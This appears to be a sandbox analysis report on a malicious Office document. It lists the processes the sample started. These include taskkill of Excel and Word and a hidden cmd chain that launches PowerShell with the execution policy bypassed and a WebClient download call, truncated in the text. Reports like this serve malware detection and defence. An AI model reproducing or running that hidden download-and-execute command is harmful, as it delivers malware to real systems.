Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im excel.exe
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFi...
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFi...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office12\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office12\excelcnv.exe' -Embedding
- '<SYSTEM32>\ping.exe' -n 3 localhost
